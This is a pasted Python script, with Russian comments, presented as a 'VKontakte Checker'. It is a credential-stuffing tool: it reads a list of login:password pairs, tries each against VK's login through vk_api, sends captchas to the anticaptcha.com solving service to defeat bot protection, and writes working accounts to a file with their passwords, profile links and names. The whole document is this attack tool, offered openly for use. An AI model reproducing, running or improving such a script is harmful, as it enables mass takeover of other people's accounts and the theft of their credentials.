· 2 years ago · Jan 17, 2023, 12:10 PM
1################################################
2# _ _ _______ ______________ #
3# _| || |_| __ \ \ / /___ / ____ #
4# |_ __ _| |__) \ \ / / / /| |__ #
5# _| || |_| _ / \ \/ / / / | __| #
6# |_ __ _| | \ \ \ / / /__| |____ #
7# |_||_| |_| \_\ \/ /_____|______ #
8# #
9# VKontakte Checker by #rvze #
10# VK: https://vk.com/dimas257 #
11# TG: https://t.me/dimas257 #
12################################################
13
14import vk_api
15from colorama import init
16import sys
17import argparse
18import os
19from python3_anticaptcha import ImageToTextTask
20
21block = '[5] User authorization failed: user is blocked.'
22
23# ------------------------ #
24# Палитра цветов
25class color:
26 Error = '\033[31m'
27 ErrorText = '\033[3;31m'
28 Done = '\033[32m'
29 Warn = '\033[43m'
30 Default = '\033[0m'
31
32# ------------------------ #
33# Функция print для отображения цветного текста
34def con(text):
35 print(text + color.Default)
36
37# ------------------------ #
38# Интеграция python3_anticaptcha
39def captcha_handler(captcha):
40 if not ANTICAPTCHA_KEY or ANTICAPTCHA_KEY == '':
41 # Если ключ не указан, будет выведено сообщение с ссылкой на картинку
42 solution = input("Решите капчу ({0}): ".format(captcha.get_url()))
43 return captcha.try_again(solution)
44 key = ImageToTextTask.ImageToTextTask(
45 anticaptcha_key=ANTICAPTCHA_KEY, save_format='const').captcha_handler(captcha_link=captcha.get_url())
46 return captcha.try_again(key['solution']['text'])
47
48# ------------------------ #
49# Главный поток
50def main():
51 file = open(filed, 'r')
52 savefile = open(savefiled, 'w')
53 savefile.write('################################################\n# _ _ _______ ______________ #\n# _| || |_| __ \ \ / /___ / ____ #\n# |_ __ _| |__) \ \ / / / /| |__ #\n# _| || |_| _ / \ \/ / / / | __| #\n# |_ __ _| | \ \ \ / / /__| |____ #\n# |_||_| |_| \_\ \/ /_____|______ #\n# #\n################################################\n')
54 savefile.write('\n')
55 print(f'Настройки приняты\n-----------------\nАнтикапча: {ANTICAPTCHA_KEY}\nПуть до файла с аккаунтами: {filed}\nФайл для сохранения валида: {savefiled}\n-----------------')
56 while True:
57 line = str(file.readline())
58 if not line:
59 try:
60 input("Работа закончена. Для выхода нажмите Enter/Ctrl+C...")
61 sys.exit()
62 except KeyboardInterrupt:
63 sys.exit(1)
64 line = line.split()[0]
65 login = line.split(':')[0]
66 passwd = line.split(':')[1]
67 dead = 0
68 try:
69 vk_session = vk_api.VkApi(login, passwd, captcha_handler=captcha_handler)
70 vk_session.auth()
71 except vk_api.exceptions.BadPassword:
72 con(f'{color.Error}Аккаунт {login}:{passwd} невалиден.')
73 vk = vk_session.get_api()
74 try:
75 a = vk.users.get()[0]
76 except vk_api.exceptions.ApiError as e:
77 e = e
78 if str(e) == str(block) :
79 con(f'{color.Error}Аккаунт {login}:{passwd} заблокирован.')
80 else:
81 con(f'{color.Error}Непредвиденная ошибка: {color.ErrorText}{e}')
82 dead = 1
83 except Exception as e:
84 print(e)
85 if dead == 0:
86 con(f"{color.Done}Аккаунт id{a['id']} валиден.")
87 savefile.write(f'--------------------------\nLogin: {login}\nPassword: {passwd}\n')
88 savefile.write('Account link: https://vk.com/id' + str(a['id']) + '\nAccount name: ' + str(a['first_name']) + ' ' + str(a['last_name']) + '\n')
89 savefile.write(f'\n')
90
91# ------------------------ #
92# Парсер аргументов
93parser = argparse.ArgumentParser(description='VKChecker settings:')
94
95parser.add_argument(
96 '-f',
97 '--file',
98 help='File with a accounts.'
99 )
100parser.add_argument(
101 '-o',
102 '--outfile',
103 help='Output file.'
104 )
105parser.add_argument(
106 '-a',
107 '--anticaptcha',
108 help='anticaptcha.com API key.',
109 )
110args = parser.parse_args()
111
112init()
113
114# ------------------------ #
115# Если аргументы не указаны, они будут запрошены функциями снизу
116def filed():
117 init()
118 if args.file:
119 file = args.file
120 else:
121 file = input('Укажите путь до файла с аккаунтами: ')
122 if not os.path.exists(file):
123 con(f'{color.Error}Файла {file} не существует!')
124 file()
125 return file
126def savefiled():
127 if args.outfile:
128 savefile = args.outfile
129 else:
130 savefile = input('Укажите, куда сохранять валид: ')
131 return savefile
132
133# ------------------------ #
134# Проверка, указаны ли аргументы
135if not args.file:
136 filed = filed()
137else:
138 filed = args.file
139if not args.outfile:
140 savefiled = savefiled()
141else:
142 savefiled = args.outfile
143if not args.anticaptcha:
144 ANTICAPTCHA_KEY = input('Введите ключ антикапчи (Пропустите если не нужен): ')
145else:
146 ANTICAPTCHA_KEY = args.anticaptcha
147# ------------------------ #
148# Запускатор главной функции
149main()